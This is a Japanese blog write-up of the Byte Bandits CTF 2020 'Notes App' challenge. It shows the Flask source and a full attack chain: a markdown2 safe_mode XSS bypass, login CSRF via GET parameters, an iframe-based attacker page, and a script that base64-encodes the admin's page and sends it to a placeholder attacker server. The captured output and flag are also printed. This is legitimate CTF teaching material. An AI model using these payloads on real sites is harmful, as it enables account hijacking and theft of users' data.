こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

Byte Bandits CTF 2020 Writeup - Notes App

Question

noob just created a secure app to write notes.

Show him how secure it really is!

https://notes.web.byteband.it/

f:id:graneed:20200412235507p:plain

Solution

調査

ソースコードが添付されている。

main.pyのみ、以下に転記する。

import os
from flask import Flask, render_template, request, flash, redirect
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
from flask_login import login_required, logout_user, current_user, login_user
import markdown2
import requests

from .models import User
from . import db, create_app, login_manager
from .visit_link import q, visit_url

app = create_app()

# configure login_manager {{{1 #
@login_manager.user_loader
def load_user(user_id):
    """Check if user is logged-in on every page load."""
    if user_id is not None:
        return User.query.get(user_id)
    return None


@login_manager.unauthorized_handler
def unauthorized():
    """Redirect unauthorized users to Login page."""
    flash('You must be logged in to view that page.')
    return redirect("/login")
# 1}}} #

# configure routes {{{1 #
@app.route("/")
def index():
    if current_user.is_authenticated:
        return redirect("/profile")
    return render_template("index.html")

@app.route("/register", methods = ["GET", "POST"])
def register():
    if current_user.is_authenticated:
        return redirect("/profile")

    if request.method == 'POST':
        # register user
        id = request.form.get('username')
        password = request.form.get('password')
        existing_user = User.query.filter_by(id = id).first()  # Check if user exists
        if existing_user is None:
            user = User(id = id)
            user.set_password(password)
            user.notes = ""
            db.session.add(user)
            db.session.commit()  # Create new user
            login_user(user)  # Log in as newly created user
            return redirect("/profile")
        flash('A user already exists with that name already exists.')
        return redirect("/register")
    return render_template("register.html")

@app.route("/login", methods = ["GET", "POST"])
def login():
    if current_user.is_authenticated:
        return redirect("/profile")

    if request.args.get("username"):
        # register user
        id = request.args.get('username')
        password = request.args.get('password')
        user = User.query.filter_by(id = id).first()
        if user and user.check_password(password = password):
            login_user(user)
            return redirect("/profile")

        flash('Incorrect creds')
        return redirect("/login")
    return render_template("login.html")

@app.route("/visit_link", methods=["GET", "POST"])
def visit_link():
    if request.method == "POST":
        url = request.form.get("url")
        token = request.form.get("g-recaptcha-response")
        r = requests.post("https://www.google.com/recaptcha/api/siteverify", data = {
            'secret': os.environ.get('RECAPTCHA_SECRET'),
            'response': token
        })
        if r.json()['success']:
            job = q.enqueue(visit_url, url, result_ttl = 600)
            flash("Our admin will visit the url soon.")
            return render_template("visit_link.html", job_id = job.id)
        else:
            flash("Recaptcha verification failed")

    return render_template("visit_link.html")

@app.route("/status")
def status():
    job_id = request.args.get('job_id')
    job = q.fetch_job(job_id)
    status = job.get_status()
    return render_template("status.html", status = status)


@app.route("/profile")
@login_required
def profile():
    return render_template("profile.html", current_user = current_user)

@app.route("/update_notes", methods=["POST"])
@login_required
def update_notes():
    # markdown support!!
    current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True)
    db.session.commit()
    return redirect("/profile")


@app.route("/logout")
@login_required
def logout():
    logout_user()
    return redirect("/")
# 1}}} #

以下の機能を持つ。

  • /register ユーザ登録
  • /login ログイン
  • /visit_link 管理者へリンクを送信(その後、管理者がURLへアクセスする)
  • /status 管理者がURLへアクセスしたかどうか確認
  • /profile 自分のプロファイルを表示
  • /update_notes 自分のプロファイルを更新
  • /logout ログアウト

フラグは管理者のプロファイルに記録されている。
管理者にXSSを仕掛けた画面にアクセスせて、管理者のプロファイルを窃取する方法を考える。

XSS

プロファイルはマークダウン記法で投稿可能。
markdown2でHTMLに変換している。

@app.route("/update_notes", methods=["POST"])
@login_required
def update_notes():
    # markdown support!!
    current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True)
    db.session.commit()
    return redirect("/profile")

requirements.txtを確認すると、markdown2==2.3.8。最新版を使用している。 しかし、githubのissueを見ると、未修正のXSS脆弱性が残っていることがわかる。

github.com

<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>

自分のプロファイルに設定してみる。

f:id:graneed:20200413002256p:plain

アラート表示に成功。

これで管理者を自分のプロファイル画面へ誘導すれば、任意のスクリプトが実行できる。

プロファイル画面への誘導

@app.route("/profile")
@login_required
def profile():
    return render_template("profile.html", current_user = current_user)

/profileにアクセスすると、現在ログインしているユーザのプロファイルを表示する実装である。 当然だが、管理者に/profileへアクセスさせても、管理者が自身のプロファイル(フラグ)を表示するだけである。

ここで/loginのソースを確認する。

@app.route("/login", methods = ["GET", "POST"])
def login():
    if current_user.is_authenticated:
        return redirect("/profile")

    if request.args.get("username"):
        # register user
        id = request.args.get('username')
        password = request.args.get('password')
        user = User.query.filter_by(id = id).first()
        if user and user.check_password(password = password):
            login_user(user)
            return redirect("/profile")

        flash('Incorrect creds')
        return redirect("/login")
    return render_template("login.html")

GETでusernameとpasswordを受け付けており、ログイン後に/profileに自動遷移している。 よって、管理者に/login?username=<攻撃者のユーザ名>&password=<攻撃者のパスワード>へアクセスさせれば、攻撃者のプロファイル画面に誘導できる。ただし、ログイン状態で/loginにアクセスすると、再ログイン処理をせずに/profileに自動遷移するため、事前に/logoutへアクセスさせる必要がある。

exploit作成

管理者に、攻撃者のアカウントでログインさせた後では、管理者のプロファイルの画面を再表示できない。 よって、事前にiframeで管理者のプロファイル画面を表示させて、別のiframeでログアウトと攻撃者のアカウントへのログインをさせればよい。 そのようなHTMLを自サーバに用意する。

リクエストの順序が重要であるため、3秒間待つ。setTimeoutだとうまくいかなかったため、無理やりsleepさせる。

<html>
<head>
<script>
function sleep(waitMsec){
    var startMsec = new Date();
    while (new Date() - startMsec < waitMsec);
}
window.addEventListener('load', function() {
    var adminframe = document.createElement("iframe");
    adminframe.name = "adminframe";
    adminframe.src = "https://notes.web.byteband.it/profile";
    var body = document.querySelector("body");
    body.appendChild(adminframe);

    sleep(3000);

    var logoutframe = document.createElement("iframe");
    logoutframe.src = "https://notes.web.byteband.it/logout";
    body.appendChild(logoutframe);

    sleep(3000);

    var loginframe = document.createElement("iframe");
    loginframe.src = "https://notes.web.byteband.it/login?username=<攻撃者のユーザ名>&password=<攻撃者のパスワード>";
    body.appendChild(loginframe);
}, false);
</script>
</head>
</html>

攻撃者のプロファイル画面には、管理者のプロファイル画面が表示されているadminframeのコンテンツを取得して、攻撃者のサーバに送るスクリプトを仕掛ける。親フレームのHTMLは攻撃者のドメインだが、参照先のadminframeフレームは出題サーバと同じドメインであるため、クロスドメインにはならない。

<http://g<!s://q?<!-<[<script>location.href='http://<myserver>?q='+btoa(top.adminframe.document.body.innerHTML);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>hoge;/*](http://g)->a>

準備ができたら、管理者に自サーバのHTMLのリンク先を送信する。

アクセスが来た。

?q=CgkJCjxkaXYgY2xhc3M9Imhlcm8gaXMtZnVsbGhlaWdodCBpcy1jZW50ZXJlZCBpcy12Y2VudGVyZWQgaXMtcHJpbWFyeSI Cgk8ZGl2IGNsYXNzPSJoZXJvLWhlYWQiPgoJCTxuYXYgY2xhc3M9Im5hdmJhciI CgkJCTxkaXYgY2xhc3M9ImNvbnRhaW5lciI CgkJCQk8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPgoJCQkJCTxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZiYXItaXRlbSI CgkJCQkJCU15Tm90ZXMKCQkJCQk8L2E CgkJCQk8L2Rpdj4KCQkJCTxkaXYgY2xhc3M9Im5hdmJhci1tZW51Ij4KCQkJCQk8ZGl2IGNsYXNzPSJuYXZiYXItZW5kIj4KCQkJCQkJPHNwYW4gY2xhc3M9Im5hdmJhci1pdGVtIj4KCQkJCQkJCTxhIGhyZWY9Ii9sb2dvdXQiIGNsYXNzPSJidXR0b24gaXMtcHJpbWFyeSBpcy1pbnZlcnRlZCI CgkJCQkJCQkJPHNwYW4 TG9nb3V0PC9zcGFuPgoJCQkJCQkJPC9hPgoJCQkJCQk8L3NwYW4 CgkJCQkJPC9kaXY CgkJCQk8L2Rpdj4KCQkJPC9kaXY CgkJPC9uYXY Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9Imhlcm8tYm9keSBjb2x1bW5zIGlzLWNlbnRlcmVkIGhhcy10ZXh0LWNlbnRlcmVkIj4KCQk8ZGl2IGNsYXNzPSJjb2x1bW4gaXMtNCI CgkJCTxkaXYgY2xhc3M9InRpdGxlIj4KCQkJCUhvd2R5IGFkbWluIQoJCQk8L2Rpdj4KCQkJPCEtLSBzbyB0aGF0IHVzZXIgY2FuIHdyaXRlIGh0bWwgLS0 CgkJCTxwPglmbGFne2NoNDFuX3RIeV8zWHBsb2l0c190MF93MW59IDwvcD4KCQkJPGJyPgoJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iL3VwZGF0ZV9ub3RlcyI CgkJCQk8dGV4dGFyZWEgY2xhc3M9InRleHRhcmVhIiBuYW1lPSJub3RlcyIgcGxhY2Vob2xkZXI9IldyaXRlIHNvbWV0aGluZyBoZXJlIj48L3RleHRhcmVhPgoJCQkJPGlucHV0IGNsYXNzPSJidXR0b24gaXMtZnVsbHdpZHRoIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGRhdGUiIG5hbWU9IiI CgkJCTwvZm9ybT4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KCgo8Zm9vdGVyIGNsYXNzPSJmb290ZXIiPgogIDxkaXYgY2xhc3M9ImNvbnRlbnQgaGFzLXRleHQtY2VudGVyZWQiPgogICAgPHA CiAgICAgIDxzdHJvbmc TXlOb3Rlczwvc3Ryb25nPiBieSBuMG9iLgogICAgPC9wPgogIDwvZGl2Pgo8L2Zvb3Rlcj4KCg==

BASE64デコードする。+がスペースになっているため戻しておく必要がある。

       
<div class="hero is-fullheight is-centered is-vcentered is-primary">
    <div class="hero-head">
        <nav class="navbar">
            <div class="container">
                <div class="navbar-brand">
                    <a href="/" class="navbar-item">
                        MyNotes
                    </a>
                </div>
                <div class="navbar-menu">
                    <div class="navbar-end">
                        <span class="navbar-item">
                            <a href="/logout" class="button is-primary is-inverted">
                                <span>Logout</span>
                            </a>
                        </span>
                    </div>
                </div>
            </div>
        </nav>
    </div>
    <div class="hero-body columns is-centered has-text-centered">
        <div class="column is-4">
            <div class="title">
                Howdy admin!
            </div>
            <!-- so that user can write html -->
            <p>   flag{ch41n_tHy_3Xploits_t0_w1n} </p>
            <br>
            <form method="post" action="/update_notes">
                <textarea class="textarea" name="notes" placeholder="Write something here"></textarea>
                <input class="button is-fullwidth" type="submit" value="Update" name="">
            </form>
        </div>
    </div>
</div>


<footer class="footer">
  <div class="content has-text-centered">
    <p>
      <strong>MyNotes</strong> by n0ob.
    </p>
  </div>
</footer>

フラグゲット。

flag{ch41n_tHy_3Xploits_t0_w1n}